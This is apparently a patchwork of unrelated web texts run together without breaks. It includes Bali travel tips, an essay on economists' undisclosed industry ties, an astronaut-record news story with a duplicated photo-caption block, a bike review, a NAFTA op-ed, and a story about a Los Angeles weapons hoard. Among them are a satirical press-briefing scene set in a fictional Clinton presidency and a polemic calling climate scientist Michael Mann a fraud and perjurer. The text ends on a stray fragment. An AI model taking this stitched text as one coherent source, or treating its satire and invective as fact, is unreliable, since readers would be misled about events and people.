9. Be adventurous. The cost of everything in Bali is fairly low, so try those activities you have always wanted to do. Feel like you could be the next parasailing champion? Now’s the time.
10. Visit the other islands. If you have time plan a day trip or overnight trip to an island such as The Gili Islands, do it. Head over to Gili T for the parties, or Gili Air/Meno for total island seclusion. Plus, the snorkelling and diving around the islands is next-level.
A post shared by Gili Islands (@thegiliway) on May 31, 2018 at 7:35am PDT
But as I read his recent piece defending the work of fellow economists, I thought there was something missing. He wonders in part why the public expects economists to have predicted the 2008 crash, when they had never foreseen crises in the past. And he is puzzled by the enormous public anger towards economists this time around, where there was little evidence of such ire in past crises.
Shiller writes:
"One reason may be the perception that many economists were smugly promoting the 'efficient markets hypothesis'—a view that seemed to rule out a collapse in asset prices. Believing that markets always know best, they dismissed warnings by a few mere mortals (including me) about overpricing of equities and housing. After both markets crashed spectacularly, the profession’s credibility took a direct hit."
But that credibility has also taken a direct hit from another perception. It comes not from what economists were prognosticating per se, but rather what they were not saying when making those prognostications.
Namely, they were not consistently disclosing their own affiliations outside academe that could compromise their impartiality. And this, as I argue in my book Unaccountable (http://www.amazon.com/Unaccountable-Brokers-Corrupt-Finances-Security/dp/1605985821/ref=sr_1_2?ie=UTF8&qid=1421689490&sr=8-2&keywords=unaccountable), is a violation of public trust that has helped sour the public on the economics profession.
Journalists and scholars have documented that before, during, and after the financial crisis, many (especially elite) economists provided advice to policy makers and appeared in the media without clearly disclosing their own ties to financial firms.
In 2010, Reuters (http://graphics.thomsonreuters.com/F/12/ScholarsforHire.pdf) examined nearly one hundred testimonies, mostly involving financial regulation, delivered by economics (and academics from related disciplines) to the House Financial Services Committee and the Senate Banking Committee from late 2008 through early 2010. Among those academics they tracked who appeared before Congress as sweeping financial reform was being debated:
• A professor of economics at Ohio State University who mentioned three affiliations, all
ones that bolster his image as impartial scholar, but not the four financial-firm board directorships.
• A professor of finance at Louisiana State University. He described himself as the
“Louisiana Bankers’ Association professor of finance,” but didn’t mention his
directorship at an economic consulting firm.
• A University of Pennsylvania Wharton Business School professor of real estate, who
didn’t mention consulting work for a real estate giant and GE Financial.
• A University of Chicago Booth School of Business professor who discloses that he
is a consultant for a big bank trade association, but only in a footnote in his written remarks.
A few months before the Reuters report, Gerald Epstein and Jessica Carrick-Hagenbarth of the University of Massachusetts-Amherst released their own study (http://cje.oxfordjournals.org/content/36/1/43.full) of the professional activities—outside the university—of academic economists. Epstein and Carrick-Hagenbarth examined 19 mostly “prestigious academic financial economists” who were linked to both public and international institutions and who belonged to two groups that “put forth proposals on financial reform.” They investigated the economists’ connections to both public and private financial institutions. Some not only consult for, or serve on, the boards of these private firms; they own or co-own them. The report declined to give their names because there are so many others like them, and the authors felt it would be unfair.
What the scholars found was not exactly surprising. Out of these 19 prominent economists—all of whom gave “expert” advice to the media and public about financial reform—the “vast majority of the time, [they] did not identify [financial] affiliations and possible conflicts of interest.” This was also true when the economists published their work in academic journals.
For elite economists, agility in affiliations may be the norm, not the exception. In addition to an academic post, having some attachment to a big public body like the IMF, World Bank, or a Federal Reserve Bank can afford them prestige and benefits. An association with a private firm may bring additional standing, not to mention money.
I believe that failures of disclosure—an abuse of the public trust—is why elite economists have taken such a drubbing. And emphasis here on the word “elite.” It’s not clear just how many of the 20,000 economists who belong to the American Economic Association amass multiple roles and defy transparency.
Academic economists, by the way, are not the only professionals whose reputations might be tainted by an elite circle who abuse the public trust.
Shiller compares economists to physicians, arguing that the latter don’t get criticized for failing to predict whether their patient will get sick. Of course he is right, but some in the medical profession deserve the same kind of scrutiny that economists have received for what the public views as compromised integrity. Some physicians take money from companies that have a vested interest in seeing their drug become the “it” drug being prescribed or having their device adopted as the gold standard product used in common procedures. Of course, this makes the “expert” advice they give to other physicians and professional societies suspect. Your own doctor might be on the receiving end of this advice and have no idea that it comes with mixed motives. Thankfully, physicians are now forced to disclose if they take money from Big Pharma as part of a 2010 Affordable Care Act reform; the data is being amassed on a database that went up last fall.
Indeed, many doctors did take money from drug and device companies, but not that much. The New York Times found that “typical” take for 32,000 doctors or researchers named in the database was less than $2,000 (http://www.nytimes.com/2014/10/03/business/financial-ties-between-doctors-and-health-care-firms-detailed.html). In fact, those taking the big haul were a tiny but influential bunch: 130 doctors took in more than $100,000; Time goes further and identifies a “super-elite”: 18 doctors got more than a million dollars each (http://time.com/3453649/doctors-drug-company-search-tool/).
The few are sullying the good names of the majority and this may well be the case in economics as well.
Shiller notes in his piece that “most economists devote their efforts to issues far removed from establishing a consensus outlook for the stock market or the unemployment rate."
But still, the AEA felt enough pressure from investigations like the Reuters report, the Amherst study, and the Oscar-winning documentary Inside Job (which exposed economists-for-hire) to adopt a new disclosure code in 2012.
Shiller is president-elect of the AEA, and we hope he’ll keep this issue front and center. We also hope that those willing to buck the “consensus” outlook (like Shiller himself) or, as is often the case, outsiders to the elite circle—can be embraced. After Shiller was proven spectacularly right in 2008, his peers would be wise to hang on to his every word.
The astronaut touched down from her latest mission on board the International Space Station after clocking up her total number of days to 665 – a world record for any other American or woman.
She and her two crewmates, fellow NASA astronaut Jack Fischer and Russian cosmonaut Fyodor Yurchikhin, made a safe parachute landing in Kazakhstan just before 2.30am (local time) on Sunday.
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Ms Whitson also set other records, which included becoming the world’s oldest spacewoman at the age of 57 and also the most experienced female spacewalker with 10 outings.
The biochemist, originally from Iowa, was also the first woman commander of the space station.
“I feel great,” the biochemist said during an in-flight interview. “I love working up here. It’s one of the most gratifying jobs I’ve ever had.”
During the Expedition 52 space mission, Ms Whitson and her crewmates conducted hundreds of experiments, reported NASA.
These included studies to physical changes in an astronaut’s eyes caused by extended stays in a microgravity environment. Additional research included a new lung study tissue, which could pave the way forward for stem cell research in space.
During this latest 288-day mission, Ms Whitson travelled 122.2 million miles and 4,623 orbits of the Earth.
Shape Created with Sketch. The most incredible space images of Earth Show all 30 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. The most incredible space images of Earth 1/30 Striking Africa Explore ESA astronaut Tim Peake's stunning photos of Earth, taken from the International Space Station during his six month mission (captions by Tom Peake) "The striking colour and texture of Africa Illizi, Algeria" 2/30 Favourite Reef "Every day spent living in space is a great day, but today was particularly special. I got to speak with one of my inspirational heroes Prof Stephen Hawking and his amazing daughter Lucy, who developed the Principia Space Diary to engage children with STEM subjects. As well as talking about dark matter, quantum entanglement, alien life and light beam powered nanocraft we also got to see an amazing pass over the Bahamas and this - my favourite reef smile emoticon" 3/30 Russia's north-east coast "Sunrise approaching Russia's frozen north-east coast" 4/30 Hello London "Hello London! Fancy a run? :) #LondonMarathon" 5/30 Bahamas "50 shades of blue: Bahamas" 6/30 Yinchuan "Snow on the mountains next to Yinchuan in China" 7/30 Rocket flames in Africa "Is it just me or do I see some rocket flames down there? These strange land features are in the Erg Iguidi desert, with its yellow stripes of sand stretching from Algeria to northern Mauritania in the Sahara" 8/30 Stunning colours "Sunlight reflecting the stunning colours of this Himalayan lake" 9/30 The real Everest "The real thing: found Everest! Last picture turned out to be third-tallest mountain Kanchengjunga" 10/30 Go Exomars "Go #Exomars – have a great mission. Earth has more in common with Mars than you might think… #AfricaArt" 11/30 Tenerife "Amazingly clear view of Tenerife" 12/30 Midday winter sun "Some midday winter sun glinting off Greenland’s snow-capped peaks" 13/30 Sand dunes "Great texture in these huge sand dunes, Saudi Arabia" 14/30 Dragon Dam "The dam makes this river look like a dragon’s tail. Oahe Dam north of Pierre, South Dakota in the United States. (North is to the right)" 15/30 Smoking volcano "Spotted volcano smoking away on Russia’s far east coast this morning – heat has melted snow around top" 16/30 New Zealand "New Zealand looking stunning in the sunshine. Mt Cook centre left with the Grand Plateau to the front and Mt Tasman (3,497m) to the right of the Grand Plateau. Fox Glacier in the middle then Franz Josef curving right. Tasman Lake (largest at front) is at the foot of the Tasman glacier which runs along the front of them. The Hooker Glacier flows out behind Mt Cook coming down to meet the Mueller Glacier on the left of the photo. The Murchison Glacier is at the front of the photo running parallel with the Tasman Glacier" 17/30 Plankton bloom "Another great pass over Patagonia and a swirling plankton bloom off the coast" 18/30 Alaska "We don’t often get such clear views of Alaska" 19/30 Lights along the Nile "Lights along the Nile stretching into the distance from Cairo" 20/30 Kamchatka "The Pacific ‘Ring of Fire’ clear to see amongst the volcanoes of Kamchatka, Russia" 21/30 Cumulonimbus "I’m guessing there was an impressive storm going on under that cumulonimbus cloud" 22/30 Night Sahara "Night-time Sahara – you can really see how thin the Earth’s atmosphere is in this picture" 23/30 Japan "Tokyo and Japanese coast. This image shows most of Japan with the largest mass of light corresponding to Tokyo. The white lights on the left are fishing boats" 24/30 Morning sun volcanoes "Morning sun striking active volcanoes in Guatemala" 25/30 Tapajos River "The vast waters of the Tapajos river, Amazonia" 26/30 Patagonia "Beautiful glacial river water flowing from this Patagonian ice field Lake Viedma, West is up" 27/30 Dubai Palms "Minus the #Dragon photobomb this time..." 28/30 Sediment in Ethiopia "Sediment spilling into this mountain lake, Ethiopia" 29/30 Italy "We have phases of ‘short nights’ on the International Space Station – sunlight is nearly always visible right now. No prizes for guessing where this is…" 30/30 Panama Canal "From one mighty ocean to another – ships passing through the Panama canal" 1/30 Striking Africa Explore ESA astronaut Tim Peake's stunning photos of Earth, taken from the International Space Station during his six month mission (captions by Tom Peake) "The striking colour and texture of Africa Illizi, Algeria" 2/30 Favourite Reef "Every day spent living in space is a great day, but today was particularly special. I got to speak with one of my inspirational heroes Prof Stephen Hawking and his amazing daughter Lucy, who developed the Principia Space Diary to engage children with STEM subjects. As well as talking about dark matter, quantum entanglement, alien life and light beam powered nanocraft we also got to see an amazing pass over the Bahamas and this - my favourite reef smile emoticon" 3/30 Russia's north-east coast "Sunrise approaching Russia's frozen north-east coast" 4/30 Hello London "Hello London! Fancy a run? :) #LondonMarathon" 5/30 Bahamas "50 shades of blue: Bahamas" 6/30 Yinchuan "Snow on the mountains next to Yinchuan in China" 7/30 Rocket flames in Africa "Is it just me or do I see some rocket flames down there? These strange land features are in the Erg Iguidi desert, with its yellow stripes of sand stretching from Algeria to northern Mauritania in the Sahara" 8/30 Stunning colours "Sunlight reflecting the stunning colours of this Himalayan lake" 9/30 The real Everest "The real thing: found Everest! Last picture turned out to be third-tallest mountain Kanchengjunga" 10/30 Go Exomars "Go #Exomars – have a great mission. Earth has more in common with Mars than you might think… #AfricaArt" 11/30 Tenerife "Amazingly clear view of Tenerife" 12/30 Midday winter sun "Some midday winter sun glinting off Greenland’s snow-capped peaks" 13/30 Sand dunes "Great texture in these huge sand dunes, Saudi Arabia" 14/30 Dragon Dam "The dam makes this river look like a dragon’s tail. Oahe Dam north of Pierre, South Dakota in the United States. (North is to the right)" 15/30 Smoking volcano "Spotted volcano smoking away on Russia’s far east coast this morning – heat has melted snow around top" 16/30 New Zealand "New Zealand looking stunning in the sunshine. Mt Cook centre left with the Grand Plateau to the front and Mt Tasman (3,497m) to the right of the Grand Plateau. Fox Glacier in the middle then Franz Josef curving right. Tasman Lake (largest at front) is at the foot of the Tasman glacier which runs along the front of them. The Hooker Glacier flows out behind Mt Cook coming down to meet the Mueller Glacier on the left of the photo. The Murchison Glacier is at the front of the photo running parallel with the Tasman Glacier" 17/30 Plankton bloom "Another great pass over Patagonia and a swirling plankton bloom off the coast" 18/30 Alaska "We don’t often get such clear views of Alaska" 19/30 Lights along the Nile "Lights along the Nile stretching into the distance from Cairo" 20/30 Kamchatka "The Pacific ‘Ring of Fire’ clear to see amongst the volcanoes of Kamchatka, Russia" 21/30 Cumulonimbus "I’m guessing there was an impressive storm going on under that cumulonimbus cloud" 22/30 Night Sahara "Night-time Sahara – you can really see how thin the Earth’s atmosphere is in this picture" 23/30 Japan "Tokyo and Japanese coast. This image shows most of Japan with the largest mass of light corresponding to Tokyo. The white lights on the left are fishing boats" 24/30 Morning sun volcanoes "Morning sun striking active volcanoes in Guatemala" 25/30 Tapajos River "The vast waters of the Tapajos river, Amazonia" 26/30 Patagonia "Beautiful glacial river water flowing from this Patagonian ice field Lake Viedma, West is up" 27/30 Dubai Palms "Minus the #Dragon photobomb this time..." 28/30 Sediment in Ethiopia "Sediment spilling into this mountain lake, Ethiopia" 29/30 Italy "We have phases of ‘short nights’ on the International Space Station – sunlight is nearly always visible right now. No prizes for guessing where this is…" 30/30 Panama Canal "From one mighty ocean to another – ships passing through the Panama canal"
Expedition 53 continues with Randy Bresnik, the new commander of the International Space Station. He was full of admiration for Ms Whitson, calling her an “American space ninja”.
Ms Whitson said she was looking forward to seeing family and friends and had especially missed a flushing toilet.
Back on Earth, she will pass on her knowledge to the next generation.
“I am working on paying forward some of the advice and mentoring that I received on my journey in hopes that one day those young people will do the same and look back on a life in which they leapt at the opportunities and broke their own records.”
Russian cosmonaut Gennady Padalka holds the world record, having spent 879 days in space over five missions. His compatriot Valeri Polyakov is the holder for the longest single stay in space, with 437 days and 18 hours on board the Mir space station.
We’ll tell you what’s true. You can form your own view.
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The 70-year old artist was commissioned by the Japan Foundation to conduct research in the city of Kyoto on Sassanid-era designs, which had been transferred via the Silk Road and appeared on the kimono, the traditional Japanese female costume, and the belt obi.
In addition, Ganji, who has been teaching in Iranian art universities, has long promoted the Japanese art of sumie (Japanese black ink painting) and shoi (traditional Japanese architecture) in her classes. She has had a big share in introducing and promoting Japanese art in Iran and has also helped elevate the artistic exchanges between Iran and Japan.
The Japanese government honored 89 foreign nationals on November 3rd, 2015. Iranian film director Abbas Kiarostami also received the Order of the Rising Sun in 2013.
The Order of the Rising Sun was established by Emperor Meiji of Japan in 1875 and was awarded in nine classes until 2003. The badge features rays of sunlight from the rising sun. The design of the Rising Sun symbolizes energy as powerful as the rising sun in parallel with the “rising sun” concept of Japan (“Land of the Rising Sun”).
The order is awarded to those who have made distinguished achievements in international relations, promotion of Japanese culture, advancements in their field, development in welfare or preservation of the environment.
Thanks to a tip off from respected climate researcher, Dr. Klaus Kaiser, myself and Tom Richard (who scooped the original Nobel story) obtained “before and after” copy images from PSU websites as records of this damning retraction. (see below).
But not only has Mann opened up a can of worms in the DC courts, he’s also rendered himself liable to full misconduct investigations by the National Science Foundation (NSF) and PSU for academic misrepresentation. No wonder that as of yesterday (Saturday October 27 2o12) the university began the task of ridding itself of their crestfallen ‘hockey sticker’s’ fake claims. In the wake of the Jerry Sandusky pedophile controversy it seems the penny has finally dropped at the scandal-ridden university that what was once disregarded as mere peccadillos actually bring unwelcome legal consequences. No one is buying any of the apologists’ assertions that the affidavit slip up was a trifling one off “mistake.” Retrieval of third party archives of PSU web pages proves Mann has plied his fraudulent claims for years. So how many more times will Mann’s climate cronies seek absolution for His Phoniness?
It won’t surprise legal analysts if the removal of these bogus claims is swiftly followed by equally shaming corrections, if not complete withdrawal, of the current botched defamation suit. Also liable to collapse is Mann’s other libel claim dragging on since last year against Canadian climatologist, Dr. Tim Ball. In that related Vancouver action Mann also made the very same perjurious Nobel Prize claim. Heaven forbid, even Wikipedia is hurriedly re-writing their biography of the climate con artist within 24 hours of Tom Richard obtaining confirmation from the Nobel Committee that Mann had lied in his sworn affidavit filed last week in the District of Columbia Court. (See image)
Let’s not forget that much, if not all, of Mann’s lawsuit is an appeal to the DC court for it to uphold the rightness and sanctity of Mann’s beatified authority on all matters environmental. Therefore, lawyers for Steyn, Rand Simberg and their respective publishers, the National Review and the Competitive Enterprise Institute, defendants in the case, may reasonably and fairly assert that for the past five years Mann has unscrupulously touted these false claims to unjustly further his personal, financial and political ambitions. With his saintly mantle shattered he can expect an onslaught of accusations of related scientific misconduct. PSU’s own policy statement suggests Mann has certainly breached their code of conduct:
“Academic integrity includes a commitment by all members of the University community not to engage in or tolerate acts of falsification, misrepresentation or deception. Such acts of dishonesty violate the fundamental ethical principles of the University community and compromise the worth of work completed by others.” [1]
Expect all eyes to be on PSU’s hierarchy to see whether they dodge their own internal disciplinary policies. After the humiliation of the Jerry Sandusky scandal PSU will get no wriggle room to save a second bad boy. Likewise, the NSF has a detailed history of handling cases where individuals have falsified their degrees, memberships, prizes and other accomplishments. An AAAS report tells us, “Federal agencies finding scientific misconduct have subjected researchers to a variety sanctions from a letter of reprimand to debarment from receiving federal funding for a number of years.” [2]
We shall have to wait to see whether 2013 brings a new U.S. administration mindful to send a signal about the apparent slide in standards within American academia.
[1] From Penn State’s University Faculty Senate Policy 49-20 (accessed online: http://advising.psu.edu/integrit.htm)
[2] Parrish, D., ‘The Scientific Misconduct Definition and Falsification of Credentials,’ AAAS Professional Ethics Report, Volume IX, Number 4, (1996).
The individual images have been background subtracted to remove some striping and fixed noise patterns. In making the montage, the background levels have then been adjusted in order to make the images more or less equivalent, the vignetting in the corners of the images has been reduced, and some processing of the overall brightness and contrast has been applied using Adobe Lightroom. Finally, the montage has been rotated by 180°.
We have not made a proper mosaic on this occasion, because it is becoming extremely difficult at these close distances due to the combined effect of the comet rotating between the first and last images taken in the sequence (about 10 degrees over 20 minutes) and the spacecraft moving by some 1–2 km in the same time.
While the two images on the right of the montage could perhaps be joined seamlessly, the problem becomes much harder between the lower-right and lower-left images. Careful inspection makes it clear that the perspective has shifted considerably between them and that some of the shadows have changed a lot as well.
It’s not easy to bring these images into alignment and thus we leave the challenge of making a reasonable mosaic from them to you!
That aside, it goes without saying that the main talking point of this image is the spectacular region of activity at the neck of 67P/C-G. What we’re seeing is the product of ices sublimating and gases escaping from inside the comet, carrying streams of dust out into space. Zooming in close to the surface and to the source of this activity and it is apparent that it is originating from several discrete locations.
You might also like to try increasing the exposure of the montage to bring out some faint details of the comet’s ‘head’, and even some boulders in the neck region.
First, let's walk through Ride-9: Set the pivot toward the rear, geometry steepens and bottom bracket goes upward. Set the chips to the front, and the opposite occurs; geometry slackens and bottom bracket drops. The uppermost positions deliver a more linear shock rate, better for lighter riders and more XC-ish behavior. Lower positions yield more progression, allowing heavier riders to run lower air pressure and providing more bottom-out resistance. The fore/aft geometry shift is substantial. In the slackest setting, head angle is 66.6 degrees, seat angle sits at 72.6 degrees, with a corner-carving and pedal-scuffing bottom-bracket drop of 32.9 millimeters. All the way at the other end of the range, in the steepest setting, head angle becomes 68.2 degrees, seat angle 74.2 degrees and BB drop rises to 13.4 millimeters.
Component selection is bang-on for the price: Shimano XT 1×11 drivetrain, XT brakes, RockShox Pike RCT3 fork, Monarch RT3 shock and Reverb seatpost, the aforementioned Stan's/Maxxis wheel and tire combo, and a Race Face Next 760-mil bar with 9 degrees of sweep mated to Rocky's house brand 70-mil stem and comfortable lock-on grips. Race Face Turbine cranks and a ti-rail WTB Silverado saddle round out the package. The full-carbon frame features a four-bar suspension that rides on angular bushings, something of a departure from the usual bearing technology employed elsewhere in the bike world. The upper link is stiffened up from previous years, and features grease ports to keep the bushings working smoothly. Cable routing is mostly internal, with the exception of the rear brake hose. The bottom bracket is BB92 press fit and rear axle spacing is 142×12.
Out in the wild, the Instinct is a stable, composed, gentlemanly ride. Pedaling behavior is exemplary when seated, and a flick of the shock's three-position compression damper quickly settles the pedal bob that occurs when standing and climbing. Cornering is predictable and planted, and the front of the bike goes right where it's told. These traits are relatively consistent no matter where the Ride-9 chips are set. Steepening things up to the rearmost settings lends a decidedly hammer-friendly pedaling aspect to the bike, and it does not really feel like an all-mountain bruiser at all. It's still insanely stable, as would be expected from a 46-plus-inch wheelbase and great big wheels, but it also stomps up climbs with an ease that is truly deceptive for a bike of this size and travel. Going the opposite direction, slackening things all the way, takes the stability and corner-carving calm into a freight train-esque alter-reality but also places the rider in a slightly less optimal position to muscle up hills. As would be expected, really tight singletrack is more fun to dice up in the steeper settings, while blasting rock gardens and laying into loose corners is enhanced in the slacker ones. This is a highly competent and very good-handling machine wherever the chips are set, but some experimentation is emphatically encouraged for riders to seek out the setting that works best for them in their given terrain for their given riding styles. As for me, in a nod to my overwhelming mediocrity, I ended up happiest with the chips set squarely in the middle of everything, running a little more than 30-percent sag. Go figure.
Complaints? Very few. The topmost Ride-9 settings make getting a pump on the rear shock an ordeal. The 23.6-inch toptube on our size large test bike feels a bit tight by current standards, and at certain times there was a bit of uninvited wiggle from the rear triangle when really loading things sideways. It's a very light frame, built into a long-travel bike with large wheels exerting a ton of leverage so this is to be expected. Still, it served to reinforce the sensation that this bike puts finesse first and foremost, but can be a bruiser when it needs to don the brass knuckles.
ROCKY MOUNTAIN'S TWO CENTS | There's not much to add that hasn't been said about the Instinct. It's one of our key platforms, and the bike that gets reached for on those rides that have a bit of everything. From Chilcotins adventures to technical marathon races to more pedally enduro tracks, it's a stable bike that absolutely chews up the miles (or freedom-units™). The suspension design is efficient and well-mannered when things get rough, and our Ride-9 system adjusts geometry and suspension characteristics. All told, it's our most versatile bike. –Brian Park, Rocky Mountain Bicycles
Related:
First Ride: Rocky Mountain Slayer
Review: Rocky Mountain Thunderbolt 799 MSL
The Canadian government has apparently decided to call Trump’s bluff. During the second round of NAFTA talks in Mexico City, Canadian negotiators reportedly demanded that the U.S. roll back its right-to-work laws. Despite the misleading name, these laws actually discriminate against union activities that protect the rights of workers.
In right-to-work states, individual workers can refuse to pay dues but still be entitled to union benefits and representation. The purpose is to bleed unions dry—and it works. Union coverage is much lower and income inequality higher in the 28 U.S. states with right-to-work laws.
Restricting U.S. right-to-work laws would certainly benefit North American workers. Canadian employers, including auto parts manufacturers and most notoriously Caterpillar in 2012, have relocated plants to right-to-work states. This ability of multinationals to shift production to low-wage, low-standards regions puts downward pressure on wages and working conditions throughout North America.
There have been proposals to enact right-to-work laws in Canada (e.g., by the defeated Tim Hudak Conservatives in the last Ontario provincial election), but so far none have taken root. In fact, since the 1940s, Canadian labour laws have required all unionized employees to pay dues, while entitling even non-members to union representation.
The big question in the NAFTA talks is whether the Canadian government is serious about achieving meaningful progress on labour rights, or if such demands are simply tactical and will be watered down later in the talks.
It is hard to see the Trump administration agreeing to include restrictions on right-to-work in a revamped NAFTA. Even if it did, what are the chances a Republican-dominated Congress would let it pass? Trump endorsed right-to-work laws during the presidential campaign and some congressional Republicans have introduced a national right-to-work bill.
Even so, the Canadian proposal is a smart, positive move that puts the U.S. on the back foot and tests the sincerity of Trump’s pro-worker rhetoric. Hopefully, this opportunity for meaningful progress won’t be lost. It would not be hard to improve upon NAFTA’s abysmal labour protections, but that would be setting the bar far too low.
As the CCPA emphasised in its brief on the NAFTA renegotiation, truly effective labour provisions must set high, fully enforceable standards. Workers and unions must be able to bring complaints directly to an independent authority that is obliged to investigate fully. There should be consequences, including high fines or trade sanctions, when employers or governments are found to violate labour standards.
But it’s also important to recognize that, without changing NAFTA’s overall template, even a gold-plated labour chapter cannot counterbalance lopsided investment protections (such as investor-state dispute settlement), excessive intellectual property rights or regulatory “co-operation” mechanisms that erode protective standards and public interest regulations. Twenty-five years of NAFTA and similar corporate-biased trade deals have underlined that.
Suppression of basic labour rights and free trade have operated in concert to make NAFTA anything but “fair” for workers. While Trump might not embrace Canadian proposals to curtail right-to-work laws in NAFTA, and whether or not our government is truly committed to the idea, it is totally appropriate to be thinking along these lines as the negotiations move forward.
Inside his own head, Jeffrey Alan Lash was a secret government operative under constant surveillance by the CIA, the FBI or both.
He spent lavishly to build up an arsenal of 1,200 firearms, six and half tons of ammunition and explosive-making materials, which he piled high in every room of the small condominium he shared with his fiancee in a well-heeled hillside enclave high above the Pacific Ocean in Los Angeles.
He had twelve cars, including one reported to be bullet-proof and worth around $100,000. When he and his fiancee went to dinner at the local Italian restaurant, they drove in separate cars, and always paid in cash.
Any time Lash saw a camera, he would get upset. He told people his name was Bob Smith. Then he died, and things got truly strange.
Police in Los Angeles have spent several days figuring out why Lash’s body ended up in a car outside his house and was left to decompose for almost two weeks. They found it last Saturday – not because of a tip-off from the neighbours, who appear to have been oblivious throughout, but because a lawyer representing his fiancee gave them a call.
They also deployed a bomb squad and chemical experts in Hazmat suits to go through his vast arsenal of weapons and explosives – all of it, to judge police photographs and initial reports from the investigation, acquired legally and left untouched.
Some chemicals were too unstable to transport, so the police blew them up. The tentative conclusion is that Lash was a rich eccentric so caught up in his make-believe world of spying and derring-do that he had his fiancee, Catherine Nebron-Gorin, convinced it was real.
When he was diagnosed with cancer a year ago, he reportedly told her it was the result of chemical weapons exposure on an old mission.
On 3 July, the couple and a friend were shopping at a supermarket in Santa Monica, a few miles away from the house, when Lash became unwell and died in the outdoor parking lot.
Nebron-Gorin later told a friend she had specific instructions from Lash on what to do if he died. Don’t call the authorities. Leave him in a car. Get out of town, and let his minders take care of the body. So she did that.
The friend, a doctor who did not want to be named, told the Palisadian Post newspaper he spent 90 minutes trying to revive Lash in the passenger seat of an SUV outside his house on the night he died as Nebron-Gorin was “wailing and grieving”.
Nebron-Gorin left for Oregon and when she returned she was stunned to see Lash’s body where she had previously left it. She called a high-profile criminal defence lawyer, Harland Braun, whose previous clients have included Dennis Rodman, Roseanne Barr, Gary Busey and Robert Blake, the actor eventually acquitted of murdering his wife in circumstances almost as bizarre as the Lash case.
Braun told the police about the body and warned them the house was stuffed with weapons. And the police immediately evacuated the neighbourhood.
Lash grew up in a modest home near the Los Angeles international airport and had ambitions at one point to become a microbiologist like his father. Then, according to his stepmother, he largely cut himself off from his family and became secretive about what he was doing. “He was just a loner, as far as we were concerned,” Shirley Anderson told the Los Angeles Times. “He just became weird because he changed all of a sudden.”
There was no immediate explanation of how he obtained his money or what, if anything, he had done for a living. According to police estimates, Lash spent at least half a million dollars, and perhaps more than twice that, on his weapons stash. The condominium, which is in Nebron-Gorin’s name, last sold for $440,000 in 1991.
Braun, the lawyer, said he doubted the story about working for the government was true. “Whether he really was working undercover for some government agency or not,” Braun told the Palisadian Post, “he was convinced he was and he had my client convinced.”
“It’s an assault on journalism,” said New York Times’s Maggie Haberman. “The public is tired of made-up Clinton scandals. How are we supposed to do our jobs when the Clinton White House refuses to provide us with actual scandals?”
The standoff began 25 minutes after Press Secretary Leslie Jones began Tuesday’s briefing, when reporters refused to ask her any questions, reducing Jones to stunned silence.
“Really y’all? Is that it?,” asked a befuddled Jones. “I mean, hell, President Clinton will be embarking on her fourth international trip this weekend to speak to Southeast Asian leaders regarding economic development. Isn’t there something - anything that y’all want to know?”
After another awkward pause of nearly ten seconds, Urban Radio Networks' veteran White House reporter April Ryan finally spoke up:
“Listen Leslie, don’t take this personally, but this White House is waging war on the Fourth Estate,” said Ryan, as her peers nodded agreement. “Here we are, 115 days in, and the Clinton Administration is unspeakably boring. Her cabinet is the most qualified and diverse in history. Her approval rating is through the roof, the economy is humming, and America’s allies are heaping praise on our consistent, coherent and idealistic of our global leadership. This will not stand!” she said.
“It’s true,” exclaimed CNN’s Jim Acosta. “Clinton is terrible for ratings. Every time we try to gin up controversy, it fails. The administration is always on the same page, and the message is always the same — whether it’s coming from the president, senior aides, government officials, surrogates, or you, Leslie.”
“If it continues like this, we’re going on strike!” he threatened.
Jones shook her head.
“Y’all are ridiculous! We’ve got the country’s first female president, the leader of the free world, doing a kickass job and all y’all want is for her to screw up so you can sell some extra ad buys! Well I, for one, am not going to apologize for the good work this administration has done and the work we still have left to do.”
“Leslie, are you saying this administration has failed to meet its goals?,” asked Kevin Corke of Fox News.
Jones laughed. “I see what you did there. Trying to get me to slip up. Y’all are incorrigible. No, Kevin, what I’m saying is the administration is still working on its ambitious agenda. For example, just last week President Clinton signed into law the Special Education Safe Schools Act which once again…”
Kromer and Bates have a connection, as Kromer served as an assistant coach at Miami (Ohio) from 1990-1998. Kromer is also a Miami alum, having played their from 1986 through 1989. That puts him roughly at 45 years of age.
Considered an rising coaching star in the NFL, Kromer would have to decide whether he would return to the college game or wait for an NFL head coaching opportunity to emerge. Several former Boston College coaches made stops at the Heights after having served as assistants and coordinators in the NFL and the program and the city have an NFL feel to it.
“McDonald’s Corp. is embarking on its biggest operational change in years as it tries to juice flagging sales, with plans to offer breakfast items all day at its more than 14,300 U.S. restaurants starting Oct. 6.
“McDonald’s customers for years have asked the company to sell breakfast items past the traditional 10:30 a.m. cutoff, but the challenges of cooking Egg McMuffins alongside Big Macs deterred the company. In an interview, McDonald’s USA President Mike Andres said it is the biggest strategic move the company has made since it rolled out its McCafe line of coffee and espresso drinks across the U.S. in 2009.”
I’m contemplating getting plastic surgery done on my mouth to install a valve to drain off all the drool that collects at the mere thought of those scrumptious MickeyD breakfasts becoming available to me for lunch and dinner.
Hell, I may just bring a bedroll and sleep inside one of their stores. Why go anywhere else, ever, now that I can get breakfast 24/7? Dennys seems so yesterday.
Of course, some people have a problem with the whole franchise/cost-of-production/nutrition thing – but let me tell you something, you granola huggers: if everyone on the planet started out their day with a good breakfast at McDonald’s, there’d be no more war or telemarketing to frazzle our nerves.
And I love the way McDonald’s officially announced this beautiful scheme. USA Today reported:
“The company began spreading news of the all-day breakfast rollout on Twitter by tweeting the news at customers who had previously told them they wanted McDonald’s to expand availability of its breakfast menu.”
Now that’s what I call customer service!
At long last I’ll have hotcakes as the evening shadows crash.
If only Mickey D’s would offer classic corned beef hash!
An Egg McMuffin is the only comfort food I’m needing
when life oppresses me and leaves me beaten up and bleeding.
I never choose McNuggets or their French fries, though delightful;
Cognitive ability testing Edit
